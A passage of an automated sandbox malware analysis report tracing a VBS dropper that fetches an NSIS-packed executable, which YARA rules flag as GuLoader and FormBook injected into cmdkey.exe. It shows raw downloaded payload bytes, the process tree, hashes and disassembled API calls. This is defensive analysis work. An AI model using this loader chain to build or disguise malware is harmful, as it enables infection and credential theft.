2024-09-25 15:20:28 UTC	404	IN	HTTP/1.1 200 OK Connection: close content-type: application/octet-stream last-modified: Wed, 25 Sep 2024 05:20:55 GMT accept-ranges: bytes content-length: 336448 date: Wed, 25 Sep 2024 15:20:28 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-09-25 15:20:28 UTC	964	IN	Data Raw: d0 1d 47 3d c7 f3 82 74 12 08 2e 4d 6e 9c d1 49 3f 9a 45 f0 7b 86 01 72 78 22 2c 48 eb aa f6 8f b6 19 76 e0 9e 11 9e 07 e4 c3 30 42 ec d6 88 dc e5 84 87 fe a1 c1 61 3a 13 01 a5 72 e5 d1 0a 5b f7 fa 00 5b 71 cc 92 62 f9 ed a6 58 d8 85 8f d4 3b 17 71 93 16 e7 7a 97 ee 51 91 24 c9 9a 63 82 b4 3f e4 f8 50 89 cd 14 e2 63 b6 05 d9 12 b0 04 7b bb 6f 56 d9 a0 57 f9 89 0d 55 06 df 69 80 b5 11 b3 bd a3 51 22 d7 16 a5 a4 86 20 1a ff 85 0b a3 3f dc 46 79 59 77 66 bf e5 f5 56 78 eb 05 02 4b 82 6b 18 c0 52 f8 df b6 45 da 34 5b 74 d4 1e ea 3d ba d8 bc f1 76 72 2d 4b 89 80 2d 16 8c 7e 2a 59 f9 43 16 f7 11 a5 bd f4 c9 59 47 5e e8 e2 25 8c a4 34 68 51 da b0 b5 df 06 dc dc 98 89 a6 5a f6 f5 3f 38 30 3d e3 0f ae 9e ff 15 24 2c 7a d4 b3 01 50 e3 20 4e 5d 0a 7a 79 40 dd 75 24 Data Ascii: G=t.MnI?E{rx",Hv0Ba:r[[qbX;qzQ$c?Pc{oVWUiQ" ?FyYwfVxKkRE4[t=vr-K-~*YCYG^%4hQZ?80=$,zP N]zy@u$
2024-09-25 15:20:28 UTC	14994	IN	Data Raw: 69 d6 cc b1 77 33 c9 e9 53 d2 7d 0b 46 27 b7 0c 0c 98 63 71 4d 5d e4 f3 35 29 96 50 ea 72 1f 0e ce fc f1 cf f2 82 5c 19 cf 1f ac d6 e8 d3 10 29 54 99 db 15 7c 70 d3 61 e8 e0 17 b2 70 ca 51 d6 58 4a a0 49 bd 2b 1a db 96 04 3f b6 af ff ba 6b 11 20 64 98 39 ee cd d1 39 06 d2 9f cf 97 d7 ab 00 f4 9c da 85 e5 4d 33 97 41 19 c0 ec a6 12 d5 c7 5d 67 a4 1f c4 16 84 65 bb aa ec ce 20 a2 f9 cd 0a 84 7f 98 d2 33 da 27 57 04 42 c8 13 57 7f 13 8a ca b6 23 2e df 08 91 ed ee 62 43 07 7d 68 aa 51 27 3d 96 40 cd 34 21 4f 23 b8 3d 8d 83 58 f4 f5 da 94 e1 bf 8c fe 5c 6b a4 2c b9 a3 cc 0f c0 36 be 2b 36 42 5b 36 10 56 c3 4e 0f 00 92 29 11 fe eb a7 42 e4 97 66 ac 08 2a fb bb f2 38 b8 9d 90 43 e8 d3 b7 12 a6 09 46 d7 18 bf 23 92 79 db 07 33 d3 7f 62 b0 b3 43 8e 5e 3e 7b be fb Data Ascii: iw3S}F'cqM]5)Pr\)T\|papQXJI+?k d99M3A]ge 3'WBW#.bC}hQ'=@4!O#=X\k,6+6B[6VN)Bf*8CF#y3bC^>{
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: 98 07 be f1 ac 4d ca 88 3b 29 86 a9 39 8c 45 7a ac c2 6f 4e e1 71 1f 2a 01 33 67 32 e8 80 94 10 d5 dd 1f ea 20 00 a1 b6 57 24 e1 e4 ad 60 bc e3 03 40 d6 bf 97 7a 18 94 1d f2 6f 5f c5 bb bb 3d bd 18 ab 5c 98 8f 2f 2f ef fa 9f fe ff b6 53 9e a9 40 d0 76 f2 4e be 8c 50 f0 45 b8 05 a5 61 2c 11 f7 89 53 de 59 ad fe 0e 58 c9 a0 61 15 cf 89 d5 30 c4 94 b8 94 fa a1 08 7e e5 9a 3f 6b 84 66 2e a4 41 67 44 34 ca 40 63 13 8b f7 a7 fa f1 84 00 c9 fd 03 5f 16 56 98 b7 13 7f 11 21 ee cb 63 08 c7 a4 a5 db 7c 20 eb 62 db b8 01 4b bd 1a 0d 7a ea 92 a7 d2 07 ad e1 c1 b9 cd 65 06 73 69 d9 e0 37 06 d1 6f 72 98 24 2b 9e 16 81 31 d7 46 8a f3 69 ac 34 2b f6 75 6c 39 44 54 10 59 70 0c 5e 3b 75 81 1a 8e 9e a3 37 30 be 94 f5 5e 57 7a 25 fe ce 13 3a 4f bd 1c b1 fc 22 e7 e7 f1 55 83 Data Ascii: M;)9EzoNq*3g2 W$`@zo_=\//S@vNPEa,SYXa0~?kf.AgD4@c_V!c\| bKzesi7or$+1Fi4+ul9DTYp^;u70^Wz%:O"U
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: 3f 7d 41 f5 95 0b aa 3f 10 19 a2 9e 7e 6f 69 cf 71 e1 b7 0e 22 56 d8 1c 5d 8d 87 11 ed f1 d3 9f ea 91 46 6c d5 06 9d 9d 2b a2 61 e9 c4 2e a6 01 0d 6c 07 7c 7b 73 ad 7b ec 8b af e2 8e 49 d7 d9 10 05 5e b7 0f 16 03 11 01 ef 0e 28 ae d7 69 b2 3d 71 36 42 6b a8 cd 13 44 78 6e d8 e9 56 cc b7 7d b1 6a 3f 2d 39 48 49 5f f7 4f e9 27 37 9b 8b dc 39 a3 71 dc 2e 52 d2 c5 dd 9e 37 a3 2f d7 27 57 ce 77 34 a2 94 d0 41 5a 30 71 99 8e e7 83 15 79 9f 7d 8c 1e 46 e1 45 b2 d1 ef 99 12 d5 e7 54 a3 c6 3c 33 31 a6 96 97 0b 81 86 3e 46 3b e1 b9 fb 01 da 37 9e 57 24 09 81 a6 aa cb 06 33 ce 84 f2 d5 bd b4 a2 bd 34 17 4f 81 aa 0e a0 2c cd a0 36 29 78 57 08 4e 2f b9 f4 88 e7 58 e7 12 52 d8 4a 08 26 b4 2a 57 e1 74 99 76 98 c2 3f 5a bf 16 19 1e 89 28 80 45 bd 7d f3 af 0d 72 f1 a1 03 Data Ascii: ?}A?~oiq"V]Fl+a.l\|{s{I^(i=q6BkDxnV}j?-9HI_O'79q.R7/'Ww4AZ0qy}FET<31>F;7W$34O,6)xWN/XRJ&*Wtv?Z(E}r
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: dc a5 0b 39 17 26 9d 1a 12 a8 db 2b e0 5f db 90 de 0f 30 13 6f 54 56 3d 0b 70 cc d9 11 47 d9 73 71 70 48 66 a9 f1 8f 0d 20 11 e5 52 44 a6 a4 db 7c ee e5 4a b9 53 14 42 32 7f d1 46 43 a6 93 bf 28 91 ff 8a 96 52 ee a4 a3 5d 45 00 59 41 18 d2 9a 34 50 6e 89 7e a9 0c 90 c6 b7 5b d0 34 49 26 60 52 82 5e d7 c7 10 19 4b c9 49 c3 21 76 6e 3f 76 1b 37 e6 3c 9d 9b 68 03 d0 81 04 56 b0 a9 1e aa 4b 2b 8b ac 1b 16 54 ef e9 cf cd 34 1f 12 2a ca 77 39 dc 4a fb ff 75 dd 22 42 da 84 1b 32 e6 7c a6 e9 c1 47 8e e9 6b 64 46 eb 51 c7 35 41 18 91 4e 16 ea 26 2c 39 b5 af 2b b9 c0 18 4f a7 b8 5d 6c ca a2 35 84 8e 98 9a 06 cb 10 98 40 a2 e0 21 cd d2 85 2f 26 56 e7 9d d9 1e 9c 42 e9 dd 57 22 b8 a9 66 1d 96 5c 38 51 5a 92 5a 02 c8 8f 38 e1 ef f8 08 c6 a8 3d 8b f2 d1 6e 65 d0 85 03 Data Ascii: 9&+_0oTV=pGsqpHf RD\|JSB2FC(R]EYA4Pn~[4I&`R^KI!vn?v7<hVK+T4*w9Ju"B2\|GkdFQ5AN&,9+O]l5@!/&VBW"f\8QZZ8=ne
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: 88 5b cd d6 a9 13 05 33 5c 0f ba 92 a3 7a 56 7b 7b 55 fd f5 c3 ae a9 8e 15 46 53 90 fc c5 f2 1c 05 2f 54 28 e6 0b fc 68 b6 b8 ef 49 56 ea 1b 2d 1f 88 d7 51 d6 39 a3 15 d5 9d 84 e0 de 1e 31 fc e0 1a cd 20 1a 38 57 bb c2 40 ea 80 98 18 92 ec 8d 89 19 38 07 4c 4d b8 fa b8 9c 01 bb f8 07 f4 d9 43 85 4c 3d 6f ef 22 5a 1d e2 f9 ab d7 fd 48 bb de 4d b3 d1 03 ea 10 b0 31 f4 dd 44 a2 da 82 13 6f 21 ec f4 63 38 1a a0 11 78 9f a4 e0 8a 92 41 c6 74 0b fd e2 e7 6d f4 9c 1c 4b 50 29 8f 37 c1 51 98 2f 31 01 53 6e 1e 3e c8 00 d1 e8 8e c7 fb e7 8b e5 1f 55 1b dc 38 fa 54 27 13 55 f6 19 fe d6 d1 3e 6f cd fc 38 37 52 99 f1 43 70 10 76 55 53 84 d3 18 c4 85 95 e5 9f 6b 0a a1 91 67 27 f8 3e 71 81 3f ec b9 2e f0 a3 20 64 ff 55 30 ad 6c 19 84 b6 27 a7 71 29 67 87 cb 3c d1 1b ef Data Ascii: [3\zV{{UFS/T(hIV-Q91 8W@8LMCL=o"ZHM1Do!c8xAtmKP)7Q/1Sn>U8T'U>o87RCpvUSkg'>q?. dU0l'q)g<
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: 55 04 14 ec e2 3b 10 19 cc 51 2f 50 a1 db 44 bb f0 66 b0 4a 2e 24 d4 ac 81 25 c0 a7 e7 e1 05 05 56 91 c5 67 64 7a 57 db fa d4 ac 89 42 e0 f7 31 26 38 81 ad 8d 99 67 de d2 6e ed 5f 80 6b 1e 76 2b 83 fb e3 9b 3a f3 c6 8d a1 cb db cb bb 49 01 be a7 5f 35 62 b7 19 e3 54 83 26 36 83 b8 1a 41 19 a0 41 00 57 6a ab 70 1c 1f 08 5c 26 c7 18 62 c8 3d 81 e4 56 8d 42 77 91 61 b0 c0 ce bb 21 1a 87 91 e0 75 f0 bb 8f 65 81 ee 54 16 be bc 5f d9 6c d2 6b 43 ca 84 6c 84 54 50 8a 42 eb e0 92 17 38 18 31 02 95 5d 09 f8 25 18 6e e8 4d 87 20 68 a5 52 6f f7 d5 d5 72 0d 83 50 f8 0d 0d 79 e4 de 3e f1 db 24 9e 3a 1c df 89 b4 96 89 9a f5 93 8f 23 0a c7 f8 2e 63 06 b0 c8 d8 27 f9 85 e0 e5 4e 52 9a 29 01 df 98 21 00 de b8 b1 95 25 8f 70 fd 2e b7 ed c5 06 60 11 93 dc cf 76 91 42 89 b3 Data Ascii: U;Q/PDfJ.$%VgdzWB1&8gn_kv+:I_5bT&6AAWjp\&b=VBwa!ueT_lkClTPB81]%nM hRorPy>$:#.c'NR)!%p.`vB
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: 56 86 2b a9 88 90 96 0c 17 9b f8 dc 03 e1 e3 87 44 17 38 5c 45 71 23 18 66 4e 15 1e 79 3b 0a 87 5f 0e fe 46 ed 11 35 46 f0 7f b2 2e fa ac a1 41 03 d7 64 36 3c f3 6b a3 70 13 b6 7f 3f dd 5e fe 54 de c2 4c 2f cc 26 47 02 85 0b 17 a8 a0 c2 32 31 04 9c 60 1c fd b3 df 56 16 cf 69 d5 53 d1 38 62 b5 d7 e8 a4 a1 15 d3 61 ce cd 45 97 3b 46 e2 64 30 5b 7c f4 3d 9c 7f 3c 43 80 f4 fa ff 2b 1b 53 bd 2f d5 69 fa c3 98 98 db da d3 68 08 db 7a 17 64 cd 94 4a 31 31 48 91 ee 52 97 4f 93 52 40 56 fe 7e de 9a 61 85 69 eb c2 a8 94 f5 d9 5e e3 40 fe 45 45 84 0a 13 b6 db 26 26 06 75 e2 f2 c7 f3 4d 5c 51 fb a7 23 27 b4 a7 11 d4 1f fd f6 73 dc 73 0d 6c af a2 06 4f 28 9a 65 77 73 90 48 34 d0 bd ab be d2 e9 a7 84 8c e2 b3 73 6b b8 c5 b5 b1 b3 1d 54 28 b2 7a a3 fb d3 6c ef 14 ae 93 Data Ascii: V+D8\Eq#fNy;_F5F.Ad6<kp?^TL/&G21`ViS8baE;Fd0[\|=<C+S/ihzdJ11HROR@V~ai^@EE&&uM\Q#'sslO(ewsH4skT(zl
2024-09-25 15:20:28 UTC	16384	IN	Data Raw: b2 63 23 dc c4 73 b9 c0 9f d6 9e 87 0b 96 80 b0 07 5c 86 2f 80 00 ff bc 86 3e 1c 38 98 09 11 c5 30 74 2c f7 7a 1c 7e 09 07 b3 d6 c9 8f 08 f6 37 62 8b 7b b4 13 58 82 38 02 4c 80 b1 e9 94 82 da 1b 59 9a 62 d7 af 60 71 41 82 e9 29 7a c8 bf cd 00 a9 4b c6 00 e4 4d 2c 86 98 78 70 f2 7b 8a 27 a1 86 90 f8 b5 dc e1 0e 8d 3a 88 03 9f 86 8e 75 1a 30 10 49 c0 1c 70 6c 9c 6e b0 e0 e9 1c 31 19 15 6c 96 c1 e0 f8 7c 71 85 79 87 85 ed 17 e8 7a 42 36 04 08 8e 32 65 fb 81 81 9c ac b5 3d 02 96 6f 0e 36 cf fe b9 9e 35 9a 0f 81 87 25 8e 85 69 78 dd 24 2f 2c 79 af 81 12 0f 55 d0 97 1b 95 67 00 c5 de 12 8e 3e 18 89 10 5e 6a 32 38 cc 3d ba eb d3 19 f5 ea 38 66 1e ac dc 2f e0 87 34 07 81 b2 0c e3 2a b3 ff 71 bd 77 81 ba 7c 46 19 d3 26 e7 e6 86 5d 88 c8 c1 64 a1 41 42 9f 79 d6 e4 Data Ascii: c#s\/>80t,z~7b{X8LYb`qA)zKM,xp{':u0Ipln1l\|qyzB62e=o65%ix$/,yUg>^j28=8f/4*qw\|F&]dABy
2024-09-25 15:20:28 UTC	426	IN	Data Raw: 73 ef 9b 4d cf d6 9f cb 6e 92 45 3e cd b2 56 13 79 e5 45 63 6a 3d 5d 99 0e 08 6a f5 bd 50 a1 ec 87 8f 78 9f 92 eb 83 c8 96 d3 94 39 8a 11 38 db 47 b2 5b 30 f3 5f 23 52 2c cc ec 2b 75 5d 06 90 d7 0a 5e df b8 27 0c be c6 a3 ca dd 42 48 f1 11 42 99 86 b2 9b 72 c6 9b 72 2e 5a 71 e4 e4 7a 57 ab d2 fb 6f 8a 0d 26 6b e2 0b 18 b6 8d df d1 ee e2 4c 0e a4 09 6c 96 31 c3 53 08 8b 7c 8c d8 44 d0 ec cb 29 26 ce fb f2 1e e2 1b 6c de 04 47 e9 d3 3c c6 a0 bd 90 e4 46 f1 7b e5 2e ce 5a 30 77 37 8b 65 16 77 71 04 c8 b7 aa f0 35 72 dc 72 4b 65 82 a2 ce 68 18 56 30 71 df 9b fd ae db 9f 35 a9 c9 13 d2 03 38 f7 6a 4c 23 a3 62 6e 9d b2 4b 58 a4 5d 30 00 47 ae df b5 13 99 99 dc 4e f2 29 03 d5 44 b2 b4 d8 01 f0 88 3f 32 16 02 f0 c4 6d 85 2e e3 6d 3d 22 ae 93 08 cb 29 58 cb ef 99 Data Ascii: sMnE>VyEcj=]jPx98G[0_#R,+u]^'BHBrr.ZqzWo&kLl1S\|D)&lG<F{.Z0w7ewq5rrKehV0q58jL#bnKX]0GN)D?2m.m=")X

Target ID:	0
Start time:	11:19:57
Start date:	25/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Zeskanowana lista przedmiot#U00f3w nr 84329.vbs"
Imagebase:	0x7ff6cc890000
File size:	170'496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:20:04
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\temp_executable.exe"
Imagebase:	0x400000
File size:	830'512 bytes
MD5 hash:	C9B895E1253AA2B7147BE9B1E43F2DBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.19989077508.00000000032B6000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:20:22
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\temp_executable.exe"
Imagebase:	0x400000
File size:	830'512 bytes
MD5 hash:	C9B895E1253AA2B7147BE9B1E43F2DBD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.20209174867.0000000001876000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:20:42
Start date:	25/09/2024
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16'696'840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	11:20:42
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\cmdkey.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmdkey.exe"
Imagebase:	0xc00000
File size:	17'408 bytes
MD5 hash:	6CDC8E5DF04752235D5B4432EACC81A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:23:17
Start date:	25/09/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff7becb0000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	18.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.8%
Total number of Nodes:	1562
Total number of Limit Nodes:	49

Executed Functions

Function 004036D7 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 416
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008001), ref: 004036F3
GetVersionExW.KERNEL32 ref: 0040371C
GetVersionExW.KERNEL32(?), ref: 0040372F
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004037D7
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403811
OleInitialize.OLE32(00000000), ref: 00403818
SHGetFileInfoW.SHELL32(004085B0,00000000,?,000002B4,00000000), ref: 00403837
GetCommandLineW.KERNEL32(Sortkridts Setup,NSIS Error), ref: 0040384C
CharNextW.USER32(00000000,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,?,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000), ref: 00403898
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 00403996
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004039A7
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039B3
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004039C7
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004039CF
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004039E0
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004039E8
DeleteFileW.KERNELBASE(1033), ref: 00403A02

Part of subcall function 004033C8: GetTickCount.KERNEL32 ref: 004033DB
Part of subcall function 004033C8: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\temp_executable.exe,00000400,?,?,?,?,?), ref: 004033F7

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000,00000000), ref: 00403AA5
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00408600,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000,00000000), ref: 00403AB8
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000,00000000), ref: 00403AC7
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000,00000000), ref: 00403AD6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AFE
DeleteFileW.KERNEL32(004209C0,004209C0,?,0042A000,?), ref: 00403B51
CopyFileW.KERNEL32(C:\Users\user\AppData\Local\Temp\temp_executable.exe,004209C0,00000001), ref: 00403B63
CloseHandle.KERNEL32(00000000,004209C0,004209C0,?,004209C0,00000000), ref: 00403B9C

Part of subcall function 00405DF9: CreateDirectoryW.KERNELBASE(?,00000000,C:\Users\user\AppData\Local\Temp\,00403CA4,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76073420,0040399D), ref: 00405E01
Part of subcall function 00405DF9: GetLastError.KERNEL32 ref: 00405E0B

OleUninitialize.OLE32(00000000), ref: 00403BCA
ExitProcess.KERNEL32 ref: 00403BE1
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BF7
OpenProcessToken.ADVAPI32(00000000), ref: 00403BFE
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403C13
AdjustTokenPrivileges.ADVAPI32(00000001,00000000,?,00000000,00000000,00000000), ref: 00403C36
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C5B

Part of subcall function 004065D1: CharNextW.USER32(?,00403897,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,?,"C:\Users\user\AppData\Local\Temp\temp_executable.exe" ,00000000), ref: 004065E7

Strings

\Temp, xrefs: 004039AD
.tmp, xrefs: 00403ABD
~nsu, xrefs: 00403A99
Sortkridts Setup, xrefs: 00403842
TMP, xrefs: 004039E3
"C:\Users\user\AppData\Local\Temp\temp_executable.exe" , xrefs: 00403853, 00403889, 00403891, 00403A1F, 00403A2B
Error launching installer, xrefs: 00403A4A
NSIS Error, xrefs: 0040383D
C:\Users\user\AppData\Local\Temp\temp_executable.exe, xrefs: 00403B5E
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic, xrefs: 00403A75
1033, xrefs: 004039FD
UXTHEME, xrefs: 004037CB, 004037D0, 004037D6
Low, xrefs: 004039C9
TEMP, xrefs: 004039DB
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004036E3
SeShutdownPrivilege, xrefs: 00403C0D
C:\Users\user\AppData\Local\Temp, xrefs: 00403ACC, 00403B0D
C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising, xrefs: 0040397B, 00403A6A, 00403B04, 00403B12
C:\Users\user\AppData\Local\Temp\, xrefs: 0040398B, 00403990, 004039A6, 004039B2, 004039C1, 004039CE, 004039DA, 004039E2, 00403A9E, 00403AB3, 00403AC2, 00403AD1, 00403AE4, 00403AF9, 00403BB1

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000434000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000450000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000453000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19988114070.0000000000455000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_temp_executable.jbxd

Similarity

API ID: Filelstrcat$DirectoryProcess$CharCurrentDeleteEnvironmentErrorExitNextPathTempTokenVariableVersionWindows$AdjustCloseCommandCopyCountCreateHandleInfoInitializeLastLineLookupModeModuleNameOpenPrivilegePrivilegesTickUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\AppData\Local\Temp\temp_executable.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising$C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic$C:\Users\user\AppData\Local\Temp\temp_executable.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$Sortkridts Setup$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 1152188737-102299959
Opcode ID: 0a6dd509e07941f5201f59f66d64ee85ec59a5133d30cf212f22df12b7490388
Instruction ID: 07a9971b8f29bbd68b878d9119023e68a6b74827d1d77f0d98df9434206269f1
Opcode Fuzzy Hash: 0a6dd509e07941f5201f59f66d64ee85ec59a5133d30cf212f22df12b7490388
Instruction Fuzzy Hash: 4FD137712043116AD7207F619D46B6B3AACAB4574AF51443FF582B62D2DBBC8E408B2E

Function 004066F4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406613: lstrlenW.KERNEL32(00425A48,00000000,00425A48,00425A48,00000000,?,?,00406716,?,00000000,76073420,?), ref: 00406667
Part of subcall function 00406613: GetFileAttributesW.KERNEL32(00425A48,00425A48), ref: 00406678

DeleteFileW.KERNELBASE(?,?,00000000,76073420,?), ref: 00406720
lstrcatW.KERNEL32(00425248,\*.*,00425248,?,00000000,?,00000000,76073420,?), ref: 00406772
lstrcatW.KERNEL32(?,004082B0,?,00425248,?,00000000,?,00000000,76073420,?), ref: 00406793
lstrlenW.KERNEL32(?), ref: 00406796
FindFirstFileW.KERNEL32(00425248,?), ref: 004067AD
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?), ref: 0040683E
FindClose.KERNEL32(00000000), ref: 00406850

Strings

\*.*, xrefs: 00406768

Memory Dump Source

Source File: 00000002.00000002.19987755740.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.19987716818.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987800064.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.19987834712.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File
